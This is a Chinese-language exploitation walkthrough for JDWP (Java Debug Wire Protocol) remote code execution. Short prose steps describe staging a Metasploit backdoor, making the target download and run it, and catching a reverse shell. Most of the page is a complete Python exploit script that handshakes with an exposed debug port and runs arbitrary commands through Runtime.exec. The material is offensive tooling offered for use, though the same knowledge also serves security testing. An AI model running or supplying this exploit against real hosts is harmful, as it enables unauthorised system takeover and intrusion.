JDWP 远程代码执行漏洞¶
一、漏洞简介¶
JDWP 是 Java Debug Wire Protocol 的缩写，在JPDA（Java Platform Debugger Architecture）中，它定义了调试器（debugger）和被调试的 Java 虚拟机（target vm）之间的通信协议。与PHP的 Xdebug 类似，当其调试端口直接开放在公网上时，很容易被攻击者攻击并且获取系统权限。
二、漏洞影响¶
开启了JDWP服务的主机。
三、复现过程¶
利用dnslog确定可以执行命令：¶
执行结果：
生成msf后门文件，并将其放入自己的web目录下：¶
执行命令，让目标主机下载后门：¶
设置msf,让其处于监听状态：¶
给予后门可执行的权限，并执行后门：¶
查看msf反弹shell情况：¶
这个时候session已经成功创建，但是没办法正常出现meterpreter终端。这个时候需要ctrl+c，然后用sessions 1来使用创建的session。¶
ps¶
1、不要直接反弹shell，弹不过来的。
2、在使用Msf生成后门反弹的时候，往往会卡在"session 1 opend"，这个时候使用ctrl + c强制退出，然后使用session 1，选择session即可解决。
3、JDWP的端口是随机选择的，所以在探测的时候要选择全端口。具体判断的时候nmap可以判断出来，
Java Debug Wire Protocol (Reference Imp lementation)version 1.8 1.8.0 181，这个是我遇到的那个服务版本。
poc¶
import socket
import time
import sys
import struct
import urllib
import argparse
################################################################################
#
# JDWP protocol variables
#
HANDSHAKE = "JDWP-Handshake"
REQUEST_PACKET_TYPE = 0x00
REPLY_PACKET_TYPE = 0x80
# Command signatures
VERSION_SIG = (1, 1)
CLASSESBYSIGNATURE_SIG = (1, 2)
ALLCLASSES_SIG = (1, 3)
ALLTHREADS_SIG = (1, 4)
IDSIZES_SIG = (1, 7)
CREATESTRING_SIG = (1, 11)
SUSPENDVM_SIG = (1, 8)
RESUMEVM_SIG = (1, 9)
SIGNATURE_SIG = (2, 1)
FIELDS_SIG = (2, 4)
METHODS_SIG = (2, 5)
GETVALUES_SIG = (2, 6)
CLASSOBJECT_SIG = (2, 11)
INVOKESTATICMETHOD_SIG = (3, 3)
REFERENCETYPE_SIG = (9, 1)
INVOKEMETHOD_SIG = (9, 6)
STRINGVALUE_SIG = (10, 1)
THREADNAME_SIG = (11, 1)
THREADSUSPEND_SIG = (11, 2)
THREADRESUME_SIG = (11, 3)
THREADSTATUS_SIG = (11, 4)
EVENTSET_SIG = (15, 1)
EVENTCLEAR_SIG = (15, 2)
EVENTCLEARALL_SIG = (15, 3)
# Other codes
MODKIND_COUNT = 1
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
EVENT_BREAKPOINT = 2
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
VM_DEAD = 112
INVOKE_SINGLE_THREADED = 2
TAG_OBJECT = 76
TAG_STRING = 115
TYPE_CLASS = 1
MODKIND_STEP = 10
EVENTKIND_STEP = 1
STEP_MIN = 0
STEP_INTO = 0
################################################################################
#
# JDWP client class
#
class JDWPClient:
def __init__(self, host, port=8000):
self.host = host
self.port = port
self.methods = {}
self.fields = {}
self.id = 0x01
return
def create_packet(self, cmdsig, data=""):
flags = 0x00
cmdset, cmd = cmdsig
pktlen = len(data) + 11
pkt = struct.pack(">IIccc", pktlen, self.id, chr(flags), chr(cmdset), chr(cmd))
pkt+= data
self.id += 2
return pkt
def read_reply(self):
header = self.socket.recv(11)
pktlen, id, flags, errcode = struct.unpack(">IIcH", header)
if flags == chr(REPLY_PACKET_TYPE):
if errcode :
raise Exception("Received errcode %d" % errcode)
buf = ""
while len(buf) + 11 < pktlen:
data = self.socket.recv(1024)
if len(data):
buf += data
else:
time.sleep(1)
return buf
def parse_entries(self, buf, formats, explicit=True):
entries = []
index = 0
if explicit:
nb_entries = struct.unpack(">I", buf[:4])[0]
buf = buf[4:]
else:
nb_entries = 1
for i in range(nb_entries):
data = {}
for fmt, name in formats:
if fmt == "L" or fmt == 8:
data[name] = int(struct.unpack(">Q",buf[index:index+8]) [0])
index += 8
elif fmt == "I" or fmt == 4:
data[name] = int(struct.unpack(">I", buf[index:index+4])[0])
index += 4
elif fmt == 'S':
l = struct.unpack(">I", buf[index:index+4])[0]
data[name] = buf[index+4:index+4+l]
index += 4+l
elif fmt == 'C':
data[name] = ord(struct.unpack(">c", buf[index])[0])
index += 1
elif fmt == 'Z':
t = ord(struct.unpack(">c", buf[index])[0])
if t == 115:
s = self.solve_string(buf[index+1:index+9])
data[name] = s
index+=9
elif t == 73:
data[name] = struct.unpack(">I", buf[index+1:index+5])[0]
buf = struct.unpack(">I", buf[index+5:index+9])
index=0
else:
print "Error"
sys.exit(1)
entries.append( data )
return entries
def format(self, fmt, value):
if fmt == "L" or fmt == 8:
return struct.pack(">Q", value)
elif fmt == "I" or fmt == 4:
return struct.pack(">I", value)
raise Exception("Unknown format")
def unformat(self, fmt, value):
if fmt == "L" or fmt == 8:
return struct.unpack(">Q", value[:8])[0]
elif fmt == "I" or fmt == 4:
return struct.unpack(">I", value[:4])[0]
else:
raise Exception("Unknown format")
return
def start(self):
self.handshake(self.host, self.port)
self.idsizes()
self.getversion()
self.allclasses()
return
def handshake(self, host, port):
s = socket.socket()
try:
s.connect( (host, port) )
except socket.error as msg:
raise Exception("Failed to connect: %s" % msg)
s.send( HANDSHAKE )
if s.recv( len(HANDSHAKE) ) != HANDSHAKE:
raise Exception("Failed to handshake")
else:
self.socket = s
return
def leave(self):
self.socket.close()
return
def getversion(self):
self.socket.sendall( self.create_packet(VERSION_SIG) )
buf = self.read_reply()
formats = [ ('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"),
('S', "vmVersion"), ('S', "vmName"), ]
for entry in self.parse_entries(buf, formats, False):
for name,value in entry.iteritems():
setattr(self, name, value)
return
@property
def version(self):
return "%s - %s" % (self.vmName, self.vmVersion)
def idsizes(self):
self.socket.sendall( self.create_packet(IDSIZES_SIG) )
buf = self.read_reply()
formats = [ ("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"),
("I", "referenceTypeIDSize"), ("I", "frameIDSize") ]
for entry in self.parse_entries(buf, formats, False):
for name,value in entry.iteritems():
setattr(self, name, value)
return
def allthreads(self):
try:
getattr(self, "threads")
except :
self.socket.sendall( self.create_packet(ALLTHREADS_SIG) )
buf = self.read_reply()
formats = [ (self.objectIDSize, "threadId")]
self.threads = self.parse_entries(buf, formats)
finally:
return self.threads
def get_thread_by_name(self, name):
self.allthreads()
for t in self.threads:
threadId = self.format(self.objectIDSize, t["threadId"])
self.socket.sendall( self.create_packet(THREADNAME_SIG, data=threadId) )
buf = self.read_reply()
if len(buf) and name == self.readstring(buf):
return t
return None
def get_name_by_threadId(self, threadId):
threadId = self.format(self.objectIDSize, threadId)
self.socket.sendall( self.create_packet(THREADNAME_SIG, data=threadId) )
buf = self.read_reply()
formats = [ ('S', "name") ]
buf = self.parse_entries(buf, formats, False)
return buf[0]['name']
def allclasses(self):
try:
getattr(self, "classes")
except:
self.socket.sendall( self.create_packet(ALLCLASSES_SIG) )
buf = self.read_reply()
formats = [ ('C', "refTypeTag"),
(self.referenceTypeIDSize, "refTypeId"),
('S', "signature"),
('I', "status")]
self.classes = self.parse_entries(buf, formats)
return self.classes
def get_class_by_name(self, name):
for entry in self.classes:
if entry["signature"].lower() == name.lower() :
return entry
return None
def get_methods(self, refTypeId):
if not self.methods.has_key(refTypeId):
refId = self.format(self.referenceTypeIDSize, refTypeId)
self.socket.sendall( self.create_packet(METHODS_SIG, data=refId) )
buf = self.read_reply()
formats = [ (self.methodIDSize, "methodId"),
('S', "name"),
('S', "signature"),
('I', "modBits")]
self.methods[refTypeId] = self.parse_entries(buf, formats)
return self.methods[refTypeId]
def get_method_by_name(self, name):
for refId in self.methods.keys():
for entry in self.methods[refId]:
if entry["name"].lower() == name.lower() :
return entry
return None
def getfields(self, refTypeId):
if not self.fields.has_key( refTypeId ):
refId = self.format(self.referenceTypeIDSize, refTypeId)
self.socket.sendall( self.create_packet(FIELDS_SIG, data=refId) )
buf = self.read_reply()
formats = [ (self.fieldIDSize, "fieldId"),
('S', "name"),
('S', "signature"),
('I', "modbits")]
self.fields[refTypeId] = self.parse_entries(buf, formats)
return self.fields[refTypeId]
def getvalue(self, refTypeId, fieldId):
data = self.format(self.referenceTypeIDSize, refTypeId)
data+= struct.pack(">I", 1)
data+= self.format(self.fieldIDSize, fieldId)
self.socket.sendall( self.create_packet(GETVALUES_SIG, data=data) )
buf = self.read_reply()
formats = [ ("Z", "value") ]
field = self.parse_entries(buf, formats)[0]
return field
def createstring(self, data):
buf = self.buildstring(data)
self.socket.sendall( self.create_packet(CREATESTRING_SIG, data=buf) )
buf = self.read_reply()
return self.parse_entries(buf, [(self.objectIDSize, "objId")], False)
def buildstring(self, data):
return struct.pack(">I", len(data)) + data
def readstring(self, data):
size = struct.unpack(">I", data[:4])[0]
return data[4:4+size]
def suspendvm(self):
self.socket.sendall( self.create_packet( SUSPENDVM_SIG ) )
self.read_reply()
return
def resumevm(self):
self.socket.sendall( self.create_packet( RESUMEVM_SIG ) )
self.read_reply()
return
def invokestatic(self, classId, threadId, methId, *args):
data = self.format(self.referenceTypeIDSize, classId)
data+= self.format(self.objectIDSize, threadId)
data+= self.format(self.methodIDSize, methId)
data+= struct.pack(">I", len(args))
for arg in args:
data+= arg
data+= struct.pack(">I", 0)
self.socket.sendall( self.create_packet(INVOKESTATICMETHOD_SIG, data=data) )
buf = self.read_reply()
return buf
def invoke(self, objId, threadId, classId, methId, *args):
data = self.format(self.objectIDSize, objId)
data+= self.format(self.objectIDSize, threadId)
data+= self.format(self.referenceTypeIDSize, classId)
data+= self.format(self.methodIDSize, methId)
data+= struct.pack(">I", len(args))
for arg in args:
data+= arg
data+= struct.pack(">I", 0)
self.socket.sendall( self.create_packet(INVOKEMETHOD_SIG, data=data) )
buf = self.read_reply()
return buf
def solve_string(self, objId):
self.socket.sendall( self.create_packet(STRINGVALUE_SIG, data=objId) )
buf = self.read_reply()
if len(buf):
return self.readstring(buf)
else:
return ""
def query_thread(self, threadId, kind):
data = self.format(self.objectIDSize, threadId)
self.socket.sendall( self.create_packet(kind, data=data) )
buf = self.read_reply()
return buf
def suspend_thread(self, threadId):
return self.query_thread(threadId, THREADSUSPEND_SIG)
def status_thread(self, threadId):
buf = self.query_thread(threadId, THREADSTATUS_SIG)
formats = [ ('I', "threadStatus"),
('I','suspendStatus')]
threadStatus = cli.parse_entries(buf, formats, False)
return threadStatus
def resume_thread(self, threadId):
return self.query_thread(threadId, THREADRESUME_SIG)
def send_event(self, eventCode, *args):
data = ""
data+= chr( eventCode )
data+= chr( SUSPEND_ALL )
data+= struct.pack(">I", len(args))
for kind, option in args:
data+= chr( kind )
data+= option
self.socket.sendall( self.create_packet(EVENTSET_SIG, data=data) )
buf = self.read_reply()
return struct.unpack(">I", buf)[0]
def clear_event(self, eventCode, rId):
data = chr(eventCode)
data+= struct.pack(">I", rId)
self.socket.sendall( self.create_packet(EVENTCLEAR_SIG, data=data) )
self.read_reply()
return
def clear_events(self):
self.socket.sendall( self.create_packet(EVENTCLEARALL_SIG) )
self.read_reply()
return
def wait_for_event(self):
buf = self.read_reply()
return buf
def parse_event(self, buf, eventId):
num = struct.unpack(">I", buf[2:6])[0]
rId = struct.unpack(">I", buf[6:10])[0]
if rId != eventId:
return None
tId = self.unformat(self.objectIDSize, buf[10:10+self.objectIDSize])
loc = -1 # don't care
return rId, tId, loc
def runtime_exec(jdwp):
# 1\. get Runtime class reference
runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;")
if runtimeClass is None:
print ("[-] Cannot find class Runtime")
return False
print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"])
# 2\. get getRuntime() meth reference
jdwp.get_methods(runtimeClass["refTypeId"])
getRuntimeMeth = jdwp.get_method_by_name("getRuntime")
if getRuntimeMeth is None:
print ("[-] Cannot find method Runtime.getRuntime()")
return False
print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"])
# 3\. setup 'step into' event
threads = jdwp.allthreads()
for thread in threads:
threadStatus = jdwp.status_thread(thread['threadId'])
threadStatus = threadStatus[0]["threadStatus"]
if threadStatus == 2: #Sleeping
threadId = thread['threadId']
break
if "threadId" not in dir():
print("Could not find a suitable thread for stepping")
exit()
print("[+] Setting 'step into' event in thread: %s" % threadId)
jdwp.suspendvm()
step_info = jdwp.format(jdwp.objectIDSize, threadId)
step_info += struct.pack(">I",STEP_MIN)
step_info += struct.pack(">I",STEP_INTO)
data = [ (MODKIND_STEP, step_info), ]
rId = jdwp.send_event(EVENTKIND_STEP, *data)
# 4\. resume vm and wait for event
jdwp.resumevm()
while True:
buf = jdwp.wait_for_event()
ret = jdwp.parse_event(buf, rId)
if ret is not None:
break
rId, tId, loc = ret
print ("[+] Received matching event from thread %#x" % tId)
jdwp.clear_event(EVENTKIND_STEP, rId)
# 5\. Now we can execute any code
runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd)
jdwp.resumevm()
print ("[!] Command successfully executed")
return True
def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command):
#
# This function will invoke command as a payload, which will be running
# with JVM privilege on host (intrusive).
#
print ("[+] Selected payload '%s'" % command)
# 1\. allocating string containing our command to exec()
cmdObjIds = jdwp.createstring( command )
if len(cmdObjIds) == 0:
print ("[-] Failed to allocate command")
return False
cmdObjId = cmdObjIds[0]["objId"]
print ("[+] Command string object created id:%x" % cmdObjId)
# 2\. use context to get Runtime object
buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId)
if buf[0] != chr(TAG_OBJECT):
print ("[-] Unexpected returned type: expecting Object")
return False
rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
if rt is None:
print "[-] Failed to invoke Runtime.getRuntime()"
return False
print ("[+] Runtime.getRuntime() returned context id:%#x" % rt)
# 3\. find exec() method
execMeth = jdwp.get_method_by_name("exec")
if execMeth is None:
print ("[-] Cannot find method Runtime.exec()")
return False
print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"])
# 4\. call exec() in this context with the alloc-ed string
data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ]
buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data)
if buf[0] != chr(TAG_OBJECT):
print ("[-] Unexpected returned type: expecting Object")
return False
retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
print ("[+] Runtime.exec() successful, retId=%x" % retId)
return True
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @Lz1y, base on @_hugsy_",
formatter_class=argparse.ArgumentDefaultsHelpFormatter )
parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True)
parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port")
parser.add_argument("-c", "--cmd", dest="cmd", type=str, metavar="COMMAND",
help="Specify command to execute remotely")
args = parser.parse_args()
cli = JDWPClient(args.target, args.port)
try:
cli.start()
except:
print("Handshake failed!")
#print vm description
print "[+] Dump vm description \n", cli.description, "\n"
runtime_exec(cli)
cli.leave()